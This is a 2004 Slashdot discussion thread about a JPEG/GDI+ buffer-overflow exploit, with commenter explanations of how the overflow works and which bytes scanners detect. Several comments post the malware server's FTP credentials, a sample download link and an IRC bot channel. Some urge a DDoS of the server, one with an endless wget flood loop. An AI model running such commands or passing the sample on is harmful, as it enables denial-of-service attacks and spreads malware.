  22. clamav and nav detect it by Indy1 · · Score: 4, Informative

    clamscan possibleVirus.jpg
    possibleVirus.jpg: Exploit.JPEG.Comment FOUND

    ----------- SCAN SUMMARY -----------
    Known viruses: 24607
    Scanned directories: 0
    Scanned files: 1
    Infected files: 1
    Data scanned: 0.00 MB
    I/O buffer size: 131072 bytes
    Time: 0.501 sec (0 m 0 s)

    also updated nav corp 8 with latest defs (9/27/04) and it found it. AVG free edition doesnt as of yet.

    --
    Lawyers, MBA's, RIAA? A jedi fears not these things!
    1. Re:clamav and nav detect it by naelurec · · Score: 1

      ClamAV is such a great FOSS success story. I run it side by side with some commercial AV software, and ClamAV has caught several viruses that the others have not (the reverse has not yet been true on my mail servers). Its a beautiful thing.

    2. Re:clamav and nav detect it by Anonymous Coward · · Score: 0

      I think you'll find that basically all vendors detect this. One of the things about this exploit is that it requires a very specific 4-byte sequence (or one of two very specific sequences, rather), so it's trivial to detect.

  23. Time to lock down the one Windoze machine by Cybertect · · Score: 0, Flamebait

    I run at work.

    The joys of running a mac shop :)

    1. Re:Time to lock down the one Windoze machine by Cybertect · · Score: 1

      Strange. Our clients, suppliers, and CEO and haven't noticed any of the above effects on our $10 million turnover.

      Nice try.

  24. Never fear by Anonymous Coward · · Score: 0

    Microsoft was released a *FREE* patch for customers, now available from their web site!

    1. Re:Never fear by Sir+Haxa1ot · · Score: 0

      I must add it's free as in freedom, too. You can do whatever you want in that patch. The assembly code of the patch is available, verified by debug.exe on my machine.

  25. Imagine for a moment.... by Hardwyred · · Score: 4, Interesting

    your neighbors open accesspoint, a copy of Airpwn and a suitably infected jpeg. Sounds like a pretty nasty situation in the making to me.

    --
    www.linux-skunkworks.com
  26. Screenshots... by tajmorton · · Score: 5, Funny

    No Screenshots, please!

    --
    Tell the truth and you won't have so much to remember.
    1. Re:Screenshots... by ewg · · Score: 1

      Unless they're in "ascii art" format.

      --
      org.slashdot.post.SignatureNotFoundException: ewg
  27. Hmmm by Anonymous Coward · · Score: 0

    My 12 year old Amiga 3000 is immune!

  28. alt.binaries.erotica.beanie-babies by drachenfyre · · Score: 5, Funny

    Ok, no offense, but beanie-babies and erotica? There are some newsgroups that just shouldn't exist.

    1. Re:alt.binaries.erotica.beanie-babies by Anonymous Coward · · Score: 4, Funny

      I take offence at your narrow-mindedness.

    2. Re:alt.binaries.erotica.beanie-babies by marko123 · · Score: 4, Funny

      Were you around during the height of the popularity of alt.tasteless.hamster.duct_tape or alt.swedish.chef.bork.bork.bork?

      Those were the days. Anyone go to Level 17 on gopher?

      --
      http://pcblues.com - Digits and Wood
    3. Re:alt.binaries.erotica.beanie-babies by moyix · · Score: 1
      Ok, no offense, but beanie-babies and erotica? There are some newsgroups that just shouldn't exist.
      Oh really?
  29. Oh... well.... by Anonymous Coward · · Score: 0

    Foregone conclusion then.

    There goes the neighborhood.

  30. Eek! by StevenHenderson · · Score: 4, Funny
    This could possibly be the worst viruses yet!

    These could be the worst grammar too!!!

    1. Re:Eek! by Anonymous Coward · · Score: 0

      This could possibly be the worst viruses yet!

      from the zero-hour-ate-my-dictionary department

  31. Not particularly well coded by crazyray · · Score: 4, Interesting

    If you read through the actual posting, it is apparent that this while may be the first GDI/JPEG-based worm, but it is certainly not going to be the worst. First of all, unless I missed it- this code does not even self-replicate (i.e.- it doesnt mail itself to others, or post itself to usenet, or otherwise exploit vulnerable systems) I would expect to see some script kiddies combine this proof of concept trojan with some social engineering type email worms, and then t**THAT** will be a nasty worm.

    1. Re:Not particularly well coded by Anonymous Coward · · Score: 0

      yes, I agree... this is nothing to worry about, my system is completely saNXV>VCXBC>VM BBN +++NO CARRIER

    2. Re:Not particularly well coded by Leomania · · Score: 2, Interesting

      Considering how many people are affected by malware loaded by visiting/loading code from a malicious (or hacked) website, I would expect this to spread relatively quickly once the exploit is propagated around all over the net.

      I saw one post indicating that the anti-virus tools can pick it up, but can they do so when you visit a website? My guess is no, and as such the majority of people who don't update their systems regularly (most people) have a pretty high likelihood of coming across such a site sooner rather than later as a result.

      - Leo

      --
      You don't use science to show that you're right, you use science to become right.
    3. Re:Not particularly well coded by djeca · · Score: 5, Insightful

      Just had a nasty thought... the latest round of IM programs have user-settable "buddy icons" which IIRC can be JPEGs. A worm that used buddy icons to spread could have half the internet infected in 15 minutes, and do it via existing social networks. I hope the MSN and AIM servers are scanning buddy icons to prevent this being used...

    4. Re:Not particularly well coded by Naffer · · Score: 1

      Holy Jesus...

    5. Re:Not particularly well coded by NeoSkandranon · · Score: 1

      IIRC AIM imposes a 7k filesize limit on icons, so the virus wouldn't be able to be set as one to begin with

      --
      If you can't see the value in jet powered ants you should turn in your nerd card. - Dunbal (464142)
    6. Re:Not particularly well coded by ScytheBlade1 · · Score: 1

      MSN-M actually re-encodes all images as PNGs, and sends those. Likewise, if it couldn't render the JPEG, I doubt it'd be converted and usable.

  32. I've warned you... by comrade009 · · Score: 0

    Unprotected goatse.cx viewing can make you catch something nasty.

  33. The answer is... by Leomania · · Score: 5, Informative

    yes, if you haven't updated to the latest version.

    See this Slashdot thread.

    - Leo

    --
    You don't use science to show that you're right, you use science to become right.
    1. Re:The answer is... by Leomania · · Score: 4, Informative

      Sorry, that should be "yes to a similar vulnerability, but not to this exact one, unless you've upgraded to the newest version."

      Must hit "Preview" to check those links, not "Submit"...

      - Leo

      --
      You don't use science to show that you're right, you use science to become right.
  34. Even more evil ... by gregoryl · · Score: 4, Funny

    put the image on doubleclick.net

    1. Re:Even more evil ... by TCM · · Score: 2, Insightful
      ^(.*\.)?doubleclick\.(com|net)$
      is blocked here anyway..
      --
      Of course it runs NetBSD. BTC: 1NT7QvbetmANwaMzhpVL6
  35. WAV files by mosel-saar-ruwer · · Score: 3, Interesting
    Last weekend, I was messing around with writing my own WAV files [in conjunction with a LabVIEW project], and, oddly enough, M$FT's wmplayer.exe was the ONLY media player that checked the file for integrity.

    Real Player and that piece of crap spyware that Dell calls a media player just blithely tried to open the file without performing any integrity checks whatsoever, and damn near crashed the system.

    I bet this sort of thing is a helluva lot more endemic than people realize.

    1. Re:WAV files by Anonymous Coward · · Score: 0

      Er... aren't WAV files just pure audio data? There's no calculation needed to play them beyond maybe switching the byte order, so, how would they be exploitable?

      Unless there's a header of some sort with a length field which you can specify as negative, in a similar manner to the BMP bug...

    2. Re:WAV files by AndrewStephens · · Score: 1
      Er... aren't WAV files just pure audio data?
      That is not quite true. Its been a while, but if I recall correctly WAV files are chunked, with each chunk having a small header specifying things like the type of audio (byte-order, etc) and length.

      I can easily believe that an incorrectly formatted wav could crash a badly designed parser.

      --
      sheep.horse - does not contain information on sheep or horses.
    3. Re:WAV files by Anonymous Coward · · Score: 0

      Ah. That makes sense. The world of buffer overflows is a sad and lonely place.

    4. Re:WAV files by TCM · · Score: 1

      if I recall correctly

      You don't.

      --
      Of course it runs NetBSD. BTC: 1NT7QvbetmANwaMzhpVL6
    5. Re:WAV files by AndrewStephens · · Score: 1

      Actually I do, I have just looked it up. Each chunk contains a type and a length field. A badly constructed parser that trusts the length field could easy crash, or worse.

      --
      sheep.horse - does not contain information on sheep or horses.
    6. Re:WAV files by Anonymous Coward · · Score: 0

      Eh... He does.

    7. Re:WAV files by orkysoft · · Score: 1

      Sad, yes. Lonely, no.

      --

      I suffer from attention surplus disorder.
    8. Re:WAV files by TCM · · Score: 1

      Sorry, I somehow misread that as "chunked in the sense that every x blocks/frames/seconds there is a new chunk" much like MP3. A basic WAV file is a small fmt chunk followed by one huge data chunk which got stuck in my head as "a header and then only pure data".

      --
      Of course it runs NetBSD. BTC: 1NT7QvbetmANwaMzhpVL6
  36. RUN ZONEALARM! by Zathras11 · · Score: 1

    If you are using Windoze, run ZoneAlarm from
    ZoneLabs. Every program that tries to access
    the internet in any way has to pass through
    this program and be okayed by you! Just click
    DENY and REMEMBER THIS SETTING. The software
    will still be installed but it can't get back
    to the LOSER who released it! ;^)

    1. Re:RUN ZONEALARM! by hypermike · · Score: 0, Troll

      Zonealarm sucks, try Kerio.com

      --
    2. Re:RUN ZONEALARM! by AndrewStephens · · Score: 2, Interesting

      That will help in this case, becuase the malicious code downloads other programs, but what if the code just looks for JPGs on your local drive to modify. Pictures get emailed around so often these days that the virus would still spread at a decent rate.
      The code could also contain its own backdoor software, IRC client, etc. Remember with a buffer overflow the code is executing in another program that already has rights to the network, so personal firewalls don't help.

      --
      sheep.horse - does not contain information on sheep or horses.
    3. Re:RUN ZONEALARM! by Anonymous Coward · · Score: 0

      Why is it that every time someone mentions Zonealarm some 1337 smartass fanboi has to hype kerio? I you know of *any* problem that ZA *doesnt* and Kerio *does* catch please tell us about it. Otherwise STFU.

    4. Re:RUN ZONEALARM! by Anonymous Coward · · Score: 0

      Zonealarm sucks, try Kerio.com

      Kerio crashes my computer, ZoneAlarm does not.
      Hence: Tiny Personal Kerio Firewall sucks, try ZoneAlarm.

    5. Re:RUN ZONEALARM! by Anonymous Coward · · Score: 0
      Zonealarm sucks, try Kerio.com

      The free version of Kerio does just as much as the free version of Zonealarm, but its interface is absolutely horrible.

    6. Re:RUN ZONEALARM! by pe1chl · · Score: 1

      Would it really work?
      Wouldn't the FTP requests be treated as "done by Internet Explorer" when some exploit inside IE (or a library used by IE) tries to do an FTP?
      Presumably, Zonealarm does allow FTP from IE.
      If not, the next generation of this virus could use a HTTP request.

    7. Re:RUN ZONEALARM! by Anonymous Coward · · Score: 0

      Nah, real men run iptables on a Linux desktop.

    8. Re:RUN ZONEALARM! by Anonymous Coward · · Score: 0

      nah, REAL men use pf on OpenBSD

    9. Re:RUN ZONEALARM! by hypermike · · Score: 1

      I worked for an ISP, trust me ZA is horrible.

      --
  37. IRC Fun by Anonymous Coward · · Score: 0

    server: irc.p2pchat.net
    channel: #FurQ
    passowrd: letmein

    Nice little informal gathering to talk about the virus :) (and watch the bots join up)

  38. DOS it now? by real_smiff · · Score: 2, Interesting
    it connects to ftp://209.171.43.27/www/system/ u/p bawz/pagdba

    apparently, the text indicates, that's the only source for the installed files.

    if say, 500 of us were to log into that and stay connected, would we stop the virus? would there be any risk to ourselves? (giving your IP away for a start).

    --

    This is my Sig, this is my Gun. One is for Slashdot and one is for Fun.

    1. Re:DOS it now? by Henk+Poley · · Score: 1

      I'm currently getting a 'Login incorrect':
      bash-2.05b$ wget ftp://bawz:pagdba@209.171.43.27/www/system/*
      --23 :01:42-- ftp://bawz:*password*@209.171.43.27/www/system/*
      => `.listing'
      Connecting to 209.171.43.27:21... connected.
      Logging in as bawz ...
      Login incorrect.


      So apparently they are cleaning things up on the server side.

  39. The joys of keeping a campus virus-free by iamlucky13 · · Score: 5, Interesting

    Our university campus has a huge problem with viruses and this is another exciting addition to our collection. I'm sure I'll start seeing on plenty of guy's asking for help getting this removed, after finding out pornstars aren't virus free after all.

    Thankfully, though, this shouldn't cause as much trouble as our current crop of worms. I'm shocked at how dumb our users are, as a whole. We're still having people infected with blaster, over a year after Microsoft patched that vulnerability! Sasser is absolutely rampant. The school even purchased a blanket liscence of Norton, but I would bet less than half of the students have installed it. We have a T3 line providing our outside connection, and it's currently averaging about 7 Mbps combined up/down, because the internal network, which is mostly linked from buidling to building by gigabit fiber, is saturated by virus crap. Although this virus may have a really effective way of spreading, it scares me very little.

    1. Re:The joys of keeping a campus virus-free by pigscanfly.ca · · Score: 2, Interesting

      I know what you mean . I'm an RCC (resnet computer consultant) at waterloo and we provided everyone with simple step by step guides to install norton and turn there firewall on yet we disconnected over 10% of people for getting infected with a form which the default windows firewall stops.
      Add to our luck that norton doesnt detect the worm and we have a computing experience which reminds people of the old BBs days.
      Lets just say I dont were my nametag except when required to :-)

    2. Re:The joys of keeping a campus virus-free by Agilis · · Score: 2, Informative

      The campus Resnet I'm on right now is just as bad if not worse, and we're sitting on an OC-3 here (though it's only 10Mbp and what seems to be Cat3 to most dorms. Yes, you heard me - we need special cables that take are RJ-11 on one end and RJ-45 on the other)

      Once 3 years ago as a freshman, I left my XP share open to those default Shared folders for 10 minutes and had about 30-50 copies of nimda flood in. Norton went berserk with warnings before I closed the sharing.

      And 2 years ago the fiber switches literally got overloaded from traffic from sasser et al. It still happens time to time. It's a wonder we've got continuous conntections more than a few hours.

      Policy changed after sasser requiring all machines to be patched to a certain point before registering into the resnet system. It's still at WinXP SP1 right now with no signs of requiring SP2 or updating once your MAC's registered.

      The only amusing part to this long story is that we knock our network down long before anyone can use our pipe to knock someone else off.

    3. Re:The joys of keeping a campus virus-free by DannyiMac · · Score: 3, Interesting

      I work for the University of Kentucky ResNet and when a student's computer appears to exhibit viral activity they will be blocked by their IP address by the Communications department. Then the student calls and we check if the IP is blocked or not. If they are, we send them to the anti-virus web page--the only web page the student can access from their computer. Once they install the virus software the university supplies, remove the virus(es), and upgrade to the latest service pack for their version of Windows 2000/XP, we unblock them. If they lie to us and don't do this they simply get blocked again. This is how UK controls its virus problem and I think it's a good method. Students also get blocked for other reasons as well, such as port scanning for it's possible virus behavior. Lastly, a DMCA complaint, where the student gets caught sharing copyrighted materials by organizations outside of UK (I don't think the RIAA has gotten anyone on campus yet, however).

      --
      - Danny
    4. Re:The joys of keeping a campus virus-free by Anonymous Coward · · Score: 1, Informative

      At our university, you simply get blocked if the campus servers notice you're infected with a virus (or if you're port scanning someone else). The only webpages you can visit are the pages of the university helpdesk (that contain several anti-virus programs, amongst other things).
      You can only get unblocked if you contact the guys from the IT department and tell them you sucecssfully removed the virus.
      This scheme works very well; most computers are virus-free on our campusses. Perhaps you should use a similar system on your campus.

    5. Re:The joys of keeping a campus virus-free by Anonymous Coward · · Score: 0

      I'm shocked at how dumb our users are, as a whole.


      That's because they're out having fun, making friends, and getting laid instead of sitting around with their Linux boxen thinking they're superior.

    6. Re:The joys of keeping a campus virus-free by scius · · Score: 1

      > I'm shocked at how dumb our users are, as a whole.
      You're not the only one... The sheer volume of viruses and crap on your average residents computer never ceases to amaze me.
      Actually, for the first time this year we tried being proactive. We actually required everyone in the residence halls(who run windows) to install a CD containing SAV(Symantec Anti-Virus) + firewall, SP2(enabling auto-update), and (optionally) firefox or we don't allow them on the network. =)
      Privacy/Big Brother aside, getting 3k installs of SP2 and symantec up over the first few weeks made our lives a veritable hell. The benefit now (i hope) is that our network should be somewhat more secure to these new breeds, and not so much the frothing pit of worms you described.

      --
      It's time to separate the weak from the chafed, the men from the boys, the awkwardly feminine from the possibly Canadian
    7. Re:The joys of keeping a campus virus-free by Snaller · · Score: 1

      The school even purchased a blanket liscence of Norton, but I would bet less than half of the students have installed it.

      Because its big and bloated and slows the system down.

      --
      If Google really cared they would fix Android Chrome to reflow text, instead of discriminating
    8. Re:The joys of keeping a campus virus-free by SirTalon42 · · Score: 1

      I wonder how much the system is slowed down by haveing pop-ups thrown in the user face and all the other activity that NAV blocks that is on most users computers (like my brothers)...

      I wonder what the ratio of slowdown via crap NAV blocks to slowdown via NAV is... that would be intresting

    9. Re:The joys of keeping a campus virus-free by ongeboren · · Score: 0

      "I'm shocked at how dumb our users are, as a whole."

      I'm shocked at how dumb your network administrators are, as a whole!

      In my university, we have an authentication system to log on to the network. All traffic is scanned against port-scans by pseudo-hackers and viruses. Once your computer is cought spreading a virus or portscanning, you get logged off the network within 5 minutes, and your packets are only routed to the weblogin page (login denied + instructions to follow), page to download antivirus software and a web-based interface to your university e-mail.

      Got a virus? -> clean it up, before they let you in again.

      And yes, you may reactivate once every day your account (when cleaned from viruses) so that the network administrators have nothing to deal with you.

      --
      First I wanted to be a chef. Then I wanted to be Napoleon. My ambitions have continued to grow ever since.
    10. Re:The joys of keeping a campus virus-free by Snaller · · Score: 1

      Thank god i'm not like most users (wow - first time i said that *g*)

      --
      If Google really cared they would fix Android Chrome to reflow text, instead of discriminating
  40. Why thanks! by ufpdom · · Score: 2, Informative

    Now i can go exploiting people! Thx for the virus easynews! http://easynews.com/virus/virus-jpeg.zip

    --
    There's no Freedom like UFP-dom
  41. Self fulfilling prophecy anyone? by PoderOmega · · Score: 2, Interesting

    Come on... admit it you've all been dying for this slashdot posting. You didn't think all this hype about the microsoft GDI thing wasn't going to pay off? Well there you go.... feast on microsofts pain....

  42. Nope by after · · Score: 0

    As stated in Re:That's pretty amazing. (a few posts up) it does not -- since Firefox is the latest Mozilla-based browser.

  43. Limited Accounts? by WoTG · · Score: 3, Interesting

    Anyone know if this exploit can be done when the user is using a Windows Limited account?

    1. Re:Limited Accounts? by mtnharo · · Score: 3, Informative

      From the sound of things, the exploit will be triggered, but this particular piece of code won't be able to do much, since it tries to install software that requires an Admin level account. Having a limited account won't prevent the user from running the exploit code, but it does prevent the exploit from leading to a system-level breach, unless some of privilege-escalation exploit is included as well.

    2. Re:Limited Accounts? by Anonymous Coward · · Score: 0
      unless some of privilege-escalation exploit is included as well

      Which wouldn't be hard. MS doesn't take privilege escalation vulnerabilities seriously.

  44. I suggest you all hold your tongues. by ZuperDee · · Score: 0, Flamebait

    I suggest you people hold your tongues, and think before you blindly bash Microsoft all the time. Yes, there *ARE* OTHER good reasons to hate Microsoft, but that's beside the point, and I'd rather not get into that right now.

    For the purposes of this discussion, suffice it to say that I think *BOTH* the Microsoft and open source communities have their fair share of exploits to deal with. For example, the Mozilla people have had to patch things like this before, too. In fact, need I also point out that a very similar potential exploit was also found recently in GdkPixBuf. So it ISN'T just Microsoft.

    Before now, many of you were saying "we don't have as many exploits as Microsoft." Then finally, when similar exploits are found in open source, you people start rationalizing, and saying "Oh, okay, but our side still fixes things faster." That's what in logic we call "rationalization," and "shifting your reasons." I also bet that some of these same people also think our President is doing this on the reasons for invading Iraq (though please note I still support the President, though that's also beside the point.)

    Saying "but open source allows people to see them more quickly, too" is also no argument. Certainly, one could say open source allows for greater transparency in the process, but on the other hand, I could also legitimately argue that allowing everyone to look for possible exploits in my code is like posting the blueprints for all my locks right out in the open, so every burglar can then look for ways to try to pick them or break them.

    My point is basically this: I wish people would stop going to extremes, bashing Microsoft when any kind of security flaw hits, then trying to rationalize and talk down every similar flaw that is found in their favorite open source project.

  45. And how is this a virus? by Anonymous Coward · · Score: 1, Interesting

    I don't see any indication that it's a virus at all. Just that the jpeg installs remote admin tools, connects to IRC and other typical things.

    How does it propagate?

  46. JPEG Virus? by Anonymous Coward · · Score: 0

    Is is just me, or does the phrase "JPEG virus" not accurately describe where the vulnerability lies. This seems to me like it should be called a "MIcrosoft Windows virus".

    Then again, perhaps prepending "Microsoft Windows" to "virus" is considered redundant.

    1. Re:JPEG Virus? by bcreane · · Score: 1
      Absolutely prepend "M$" to the virus description. From the horse's mouth (or A$$) itself:
      Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution (833987) What is GDI+? GDI+ is a graphics device interface that provides two-dimensional vector graphics, imaging, and typography to applications and programmers.
  47. Microsoft Patch by bcreane · · Score: 5, Informative

    FYI, here's the fix from M$ for this exploit: Security Bulletin

    1. Re:Microsoft Patch by bergeron76 · · Score: 1

      We run Windows 2k because we didn't want to be vulnerable to all of the new XP Microsoft viruses.

      Do you have a link that I can direct my family to for this vulnerability? Please don't tell me that we're left out in the cold because we haven't a lot of money to spend on the latest Windows System.

      I just want my family to be safe! Please help me!!! Give me link I can safe my family from destruction from! MY GRANDMOTHER RUNS WinME; please tell me MICROSOFT HAVEN'T FORGOT MY $100USD FOR THESE PRODUCT AND SUPPORT!!!

      --
      Don't think that a small group of dedicated individuals can't change the world. It's the only thing that ever has.
    2. Re:Microsoft Patch by Anonymous Coward · · Score: 0

      Here's a better patch:

      www.linux.org

    3. Re:Microsoft Patch by Anonymous Coward · · Score: 0

      Install the updates for Internet Explorer and other affected software.

    4. Re:Microsoft Patch by Anonymous Coward · · Score: 0

      I tried that one but unfortunately it doesn't run any of the applications or games that I have. Any better suggestions?

    5. Re:Microsoft Patch by PhilHibbs · · Score: 1
      Read the damn link!
      Non-Affected Software
      • Microsoft Windows NT Server 4.0 Service Pack 6a
      • Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6
      • Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4
      • Microsoft Windows XP Service Pack 2
      • Microsoft Windows 98, Microsoft Windows 98 Second Edition (SE), and Microsoft Windows Millennium Edition (Me)
      etc.
      IE6 is affected, though, so if they run that on WinME then d/l the patch for it.
  48. We ARE DDOS'ing it now by DigitalRaptor · · Score: 2, Informative

    It is very hard to get in right now. I've set FlashFXP to retry 1,000 times every 15 seconds. We'll see how that goes.

    The more of us that keep this connection tied up doing innocent things for the next 48 hours, the better.

    There really needs to be a distributed DDOS for spammer sites, virus sites, etc. Use The Force for good, I say.

    --
    Lose Weight and Feel Great with Isagenix
    1. Re:We ARE DDOS'ing it now by ditto999999999999999 · · Score: 1

      I haven't been able to connect either. It is only like 7 or 8 hops away from me and appears to be hosted by a competing ISP in my area. I have this running at the moment:

      while true; do wget ftp://bawz:pagdba@209.171.43.27/www/system/*; done Ditto

  49. Modify this virus to prank some friends by Anonymous Coward · · Score: 0

    Hey! Any good programmer out there could just modify this virus so that it doesn't do anything "wrong"? I wanted it to change the windows desktop picture to an image I'd post on my website that would read "Patch your system ASAP! You're owned!" (or any other 1337 h4x0r cliché). I'd post the infected file on my blog and wait for my friends to call me in fear that something worse could have hapenned, hehehehe!

    1. Re:Modify this virus to prank some friends by dpete4552 · · Score: 2, Informative

      You'd be breaking several laws in the process. So I wouldn't suggest it ;)

      --
      http://www.archive.org/details/ThePowerOfNightmares
  50. how and what by slothman32 · · Score: 1

    Can somebody explain how this affects me? How can a picture be a virus? It's looks like Notepad opening readme.txt and formatting your hard drive. And what viewers and browsers can do it? If I save it an doubleclick from the desktop explorer? Is it a picture or a viewer problem? If I use an old version of a broswer or 95 OS will it still create problems? If I use a firewall like ZA will that stop it? Anytime I see these virus problems I never know. Of course whenever I do check my comp for problems with both an AV and spyware blocker it finds nothing. Of course I don't download willy-nilly.

    --
    Why don't you guys have friends or journals?
    1. Re:how and what by MillionthMonkey · · Score: 4, Informative

      you're a goddamn idiot. a suitably constructed jpeg will cause an overflow in the gdi+ library which ie and most msft programs use to render jpegs, when that happens the jpeg can be made such that the overflow will cause virus code to be loaded. god you're an idiot.

      Jesus, an obvious end user asks a perfectly legitimate question and you call him an idiot for being surprised by the notion of a hostile JPEG- something that should rightfully amaze everybody. I doubt he understood your high level description. To the grandparent: here is a meandering crappy description of how a buffer overflow attack works:

      A function call, in C, pushes the current program counter on the stack. Then it pushes the arguments onto the stack, and control jumps to the function which pops the arguments off the stack and does whatever with them. At the end it invokes a RET instruction that pops the program counter back off the stack and control jumps to the address there (to the point right after the CALL). These are just normal C calling conventions.

      Variables defined in the function are stored on the stack. If a string like a URL (for example) needs to be defined, a buffer is allocated for it there. When the function returns, the space is automatically deallocated, the RET pops the program counter off the stack, and the function call returns. By default no bounds checking is done on data stored in these buffers. Some library functions, like gets(), don't do bounds checking. They can't, since they don't know the buffer size and would need to have it provided as an argument. Newer, safer versions exist that do take buffer size arguments, but that means these aren't the same library functions anymore. (FWIW the gets() call takes a pointer to a buffer of unknown size as an argument, reads a newlined string from stdin into the buffer, and returns the buffer pointer that was passed to it.)

      It's up to the programmer to do bounds checking if he uses library calls vulnerable in this way. But this is extra work, and people are lazy. It's easier to just allocate a big, big buffer that's probably larger than you'll ever need, that "no reasonable URL" will ever exceed. So the programmer allocates a fixed 10K buffer on the stack and passes its address to a library function like gets().

      The attacker gains control in these situations by creating a program input like a long, carefully crafted URL, slightly longer than 10K, that overflows the buffer inside the library function. The goal is to overwrite the return address on the stack with an address that's within the buffer. In the case of the Code Red worm, someone meticulously put together a URL that attacked an obscure ISAPI routine, and not only overwrote the return address, but also had machine code instructions waiting at the replacement address within the buffer- encoded right into the damn URL! (The buffer has been deallocated at this point, but hasn't been zeroed, so it's still there.)

      It's harder to explain with a JPEG than with a URL. But a JPEG contains variable length data structures that are read into buffers on the stack. Someone writing the JPEG decoder forgot to do a bounds check- and so a mundane function for decoding JPEGs never returns. Instead it jumps into an endless loop that's been placed within the image buffer by the attacker.

      So yes it is a bit like running an .EXE file, except for the fact that the code is hiding inside what is supposed to be data, not code, and it gains control of the CPU by smashing the stack.

      Older versions of Notepad gagged on files larger than 64K, which seems suspicious. It's theoretically possible that a vulnerability could exist even in a text editor like Notepad allowing a carefully constructed .TXT file to execute arbitrary code. Who knows?

    2. Re:how and what by MillionthMonkey · · Score: 4, Informative
      Here are the low level details of the JPEG exploit:
      JPEG Comment sections (COM) allow for the embedding of comment data into a JPEG image. COM sections are marked beginning with 0xFFFE followed by a 16 bit unsigned integer in network byte order giving the total comment length + the 2 bytes for the length field; a single JPEG COM section could therefore contain 65533 bytes of invisible data (invisible in the sense that it's not rendered as part of the image). Because the JPEG COM field length variable is 2 bytes wide, and itself is included in the length value, the minimum value for this field is 2, this implies an empty comment. If the comment length value is set to 1 or 0, a buffer overflow occurs overwriting heap management structures.

      The problem is GDIPlus normalizes the COM length prior to checking it's value; a starting length of 0 becomes -2 after normalization (0xFFFE unsigned), this value is converted to the 32 bit value 0xFFFFFFFE and is eventually passed on to memcpy which attempts to copy ~4G bytes into heap memory.

      eEye Digital Security analyzed the bug and found that heap management structures are left in an inconsistent state with execution eventually reaching heap unlink instructions within RTLFreeHeap with EAX pointing to a pointer to data we control and we have direct control of EDX.

      Detection could be accomplished by examining the JPEG image for the following byte sequence:

      0xFF 0xFE 0x00 0x00 or 0xFF 0xFE 0x00 0x01

      So you see what happened. The unchecked library call in this case was memcpy(). The decoder trusts its input and sends a small signed integer (-2) off to memcpy() without checking the sign bit- and memcpy() thinks -2 is a huge unsigned integer (4294967294). What's the difference? Any reasonable number is going to be positive anyway, right? Who would give a comment a negative length!

      I saw someone make this kind of goof even in Java, where you have signed-only types forced on you. Someone forgot that InputStream.read() returns an unsigned byte as an int (between 0-255), and they cast it to a signed byte and back without the &0xFF to zero out the 24 high bits. That got caught right before our product release. The consequence in that case would have been a hash algorithm with inconsistent output between stream and byte array inputs- not a security nightmare like this, but a long lasting migraine nevertheless.
    3. Re:how and what by Kjella · · Score: 1

      To a computer, there is no principal difference between data and application code. I.e. if you pick a "Save as..." location, the data you input affects the flow of the application.

      Normally, the application should limit the data to only affect the intended flow (that is, what file to save to). But if there is some malformed data that can cause the application to start executing the virus code (disguised as data), you lose.

      The big difference is that virus code in data (pictures, mp3s, movies) relies on some flaw in another program to exist. Thus, it is the viewer that is the problem. That makes them fairly rare, but when they do occur, the impact is large because people commonly download data with little concern.

      Any program using a vunerable version of the library will cause it, no matter how you view it. A firewall is useless against this type of exploits. You need either a) a patched program b) a program that is not vunerable (see above) or c) an AV solution with updated signatures.

      Kjella

      --
      Live today, because you never know what tomorrow brings
    4. Re:how and what by Anonymous Coward · · Score: 0

      Hmm, there was some code in Jakarta Velocity which indexed a 0-255 array with a byte... oh, the pain...

    5. Re:how and what by SpiffyMarc · · Score: 1

      The older Notepad limitation was due to a limitation of the size of the intrinsic text box control's buffer. If such an exploit exists, it would be down in the Win32 text box control in Win95/98.

    6. Re:how and what by Anonymous Coward · · Score: 0

      Jesus, an obvious end user asks a perfectly legitimate question and you call him an idiot for being surprised by the notion of a hostile JPEG- something that should rightfully amaze everybody.

      It amazed me when I was the first pr0n.

    7. Re:how and what by Anonymous Coward · · Score: 0

      It amazed me when I was the first pr0n.

      God damned dyslexia! It should be "when I *saw* the first pr0n." I never *was* in pr0n, I swear!

  51. It connects to IRC? Oh noes! by Rallion · · Score: 1

    Why can't it just nuke the hard drive like the old virii did? Teach people a little about access levels and system patching.

    1. Re:It connects to IRC? Oh noes! by Anonymous Coward · · Score: 0

      Amen, there needs to be a greater rash of viri like the witty worm, internet needs a little more darwinism these days but then today isnt about destroying data and taking morons offline, nooooooo its all about exploiting them to push larger peni.

    2. Re:It connects to IRC? Oh noes! by Anonymous Coward · · Score: 0

      Hey, bonehead, there is no such word as virii. Look it up here if you don't believe me.

    3. Re:It connects to IRC? Oh noes! by Civil_Disobedient · · Score: 1

      Absolutely. It would also create a public relations nightmare for Microsoft, and force them to take security a little more seriously.

    4. Re:It connects to IRC? Oh noes! by BenjyD · · Score: 1

      I don't think it would, really. The public always blames the virus writers because they:

      1) don't understand the concept of computer security
      2) Think MS == computers
      3) Have been conditioned to expect to have to run all sorts of anti-virus and firewall software in order to be secure

      Whenever there is one of these virus alerts, all the mainstream (non-tech) media seems to present it as purely "evil hackers" causing the problem, with no mention of the exploit used to spread or alternative software that users could use to avoid the problem.

    5. Re:It connects to IRC? Oh noes! by Kehvarl · · Score: 1

      Better yet, since we already know that it can install programs in some cases, why not have it install a new shell? let your average windows user boot into openbox with some customized key bindings and see what happens. Who knows, some users may even decide they like it and when they're transitioned to linux with fluxbox they might not even notice.

  52. [info] Detected by CA eTrust EZ Antivirus sig 8613 by Tetch · · Score: 1
    I just downloaded the latest CA eTrust EZ Antivirus signature file, version 8613, dated 27th.Sept, and am glad to report that it detects the Easynews virus sample as "JPEG.MS04-028.exploit trojan".

    [Since it seems to me it might be good for us all to collect as much information as possible in this thread ...]

    PS: just for the hell of it, on a box that's not using one of the allegedly vulnerable versions of Windows or IE (it's NTWS SP6a, IE5.5), I tried to open the Easynews sample image using Irfanview V3.80, which displayed the error message :

    possibleVirus.jpg : JPEG Decode Error !
    Quantization table 0x00 was not defined

    I suppose I'd better run a full scan of my peecee anyway now ... sigh ... I wonder which JPEG library Irfanview uses ...

    Although the SANS website says their scanner is written for Win2K+, it seems to run on NT (although the output format is a bit screwy), and it reckoned there is one vulnerable DLL, at

    Program Files\Common Files\Microsoft Shared\VGX\vgx.dll, Version: 5.50.4133.200
    Dunno where that came from, but it describes itself as "Microsoft Vector Graphics Rendering(VML)", and - fascinatingly - the copyright says "Unpublished work. Copyright© Microsoft Corporation 1983-1999. All rights reserved."
    --
    If you don't pray in my school, I won't think in your church.
